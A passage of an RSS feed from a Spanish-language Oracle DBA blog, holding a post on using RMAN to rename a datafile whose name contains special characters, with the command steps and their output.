¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-3014992519452034917?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/c1llaFrvD14" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:26:32.314-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">9</thr:total><feedburner:origLink>http://blog.e-dba.biz/2008/11/ora-00257-archiver-error-ya-hay-espacio.html</feedburner:origLink></item><item><title>¿Cómo renombrar con Rman datafiles nombrados con caracteres especiales?</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/Nec0pha_lGQ/caracteres-especiales-rman-renombrar.html</link><category>rman</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Thu, 06 Nov 2008 17:01:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-394577820409763360</guid><description>&lt;div&gt;Faltaba espacio en un tablespace y optaste por agregar un datafile nuevo, resuelto el problema regresas a tus asuntos y te olvidas del tema. Luego, mientras de forma rutinaria inspeccionas los contenidos del filesystem, reparas en que el nuevo datafile tiene un nombre algo raro, tiene caracteres especiales, recuerdas que al escribir el nombre lo hiciste con tanta prisa que te equivocaste un par de veces pero al final el nombre estaba OK, o al menos en tu pantalla así parecía; bueno pues, igual hay que resolver el problema, pero ¿por dónde empezar?&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;div&gt;La primera intención es renombrar el archivo desde el sistema operativo, pero encuentras problemas para lograrlo, ¿por qué no ayudarnos de nuestro viejo conocido &lt;b&gt;Rman&lt;/b&gt;? Afortunadamente el procedimiento es bastante simple:&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Primero invocamos Rman y verificamos la situación inicial.&lt;pre class="codigo"&gt;$ rman target /
RMAN&amp;gt; report schema;

using target database control file instead of recovery catalog
Report of database schema

List of Permanent Datafiles
===========================
File Size(MB) Tablespace       RB segs Datafile Name
---- -------- ---------------- ------- ------------------------
1    480      SYSTEM           ***     /u01/oradata/orcl/system01.dbf
2    30       UNDOTBS1         ***     /u01/oradata/orcl/undotbs01.dbf
3    230      SYSAUX           ***     /u01/oradata/orcl/sysaux01.dbf
4    5        USERS            ***     /u01/oradata/orcl/users01.dbf
5    100      EXAMPLE          ***     /u01/oradata/orcl/example01.dbf
6    10       DEMO             ***     &lt;b&gt;/u01/oradata/orcl/�¡Ã³demo01.dbf&lt;/b&gt;

List of Temporary Files
=======================
File Size(MB) Tablespace           Maxsize(MB) Tempfile Name
---- -------- -------------------- ----------- --------------------
1    20       TEMP                 32767       /u01/oradata/orcl/temp01.dbf&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;Procedemos a poner el tablespace afectado fuera de linea.&lt;pre class="codigo"&gt;RMAN&amp;gt; sql "alter tablespace demo offline";&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;Obtenemos una copia del datafile, referenciándolo por su &lt;i&gt;file#&lt;/i&gt;.&lt;pre class="codigo"&gt;RMAN&amp;gt; copy datafile 6 to '/u01/oradata/orcl/demo01.dbf';

Starting backup at 06/11/2008 20:40:28
allocated channel: ORA_DISK_1
channel ORA_DISK_1: sid=142 devtype=DISK
channel ORA_DISK_1: starting datafile copy
input datafile fno=00006 name=/u01/oradata/orcl/�¡Ã³demo01.dbf
output filename=/u01/oradata/orcl/demo01.dbf tag=TAG20081106T204029 recid=4 stamp=670106430
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:00:01
Finished backup at 06/11/2008 20:40:30
&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;Ahora intercambiamos los archivos.&lt;pre class="codigo"&gt;RMAN&amp;gt; switch datafile 6 to copy;

datafile 6 switched to datafile copy "/u01/oradata/orcl/demo01.dbf"
&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;Finalizamos poniendo el tablespace en linea.&lt;pre class="codigo"&gt;RMAN&amp;gt; sql "alter tablespace demo online";

sql statement: alter tablespace demo online
&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;Verificamos.&lt;pre class="codigo"&gt;RMAN&amp;gt; report schema;

using target database control file instead of recovery catalog
Report of database schema

List of Permanent Datafiles
===========================
File Size(MB) Tablespace       RB segs Datafile Name
---- -------- ---------------- ------- ------------------------
1    480      SYSTEM           ***     /u01/oradata/orcl/system01.dbf
2    30       UNDOTBS1         ***     /u01/oradata/orcl/undotbs01.dbf
3    230      SYSAUX           ***     /u01/oradata/orcl/sysaux01.dbf
4    5        USERS            ***     /u01/oradata/orcl/users01.dbf
5    100      EXAMPLE          ***     /u01/oradata/orcl/example01.dbf
6    10       DEMO             ***     &lt;b&gt;/u01/oradata/orcl/demo01.dbf&lt;/b&gt;
List of Temporary Files
=======================
File Size(MB) Tablespace           Maxsize(MB) Tempfile Name
---- -------- -------------------- ----------- --------------------
1    20       TEMP                 32767       /u01/oradata/orcl/temp01.dbf&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;div&gt;El problema ha sido resuelto!&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Puedes revisar el Note:&lt;b&gt;743616.1&lt;/b&gt; &lt;i&gt;Rename Datafiles Using Rman&lt;/i&gt;, para ver otros escenarios posibles.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Posts Relacionados:&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/11/recuperar-spfile-perdido-restore.html"&gt;¿Cómo recuperar un spfile perdido?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-394577820409763360?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/Nec0pha_lGQ" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:26:49.175-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://blog.e-dba.biz/2008/11/caracteres-especiales-rman-renombrar.html</feedburner:origLink></item></channel></rss>

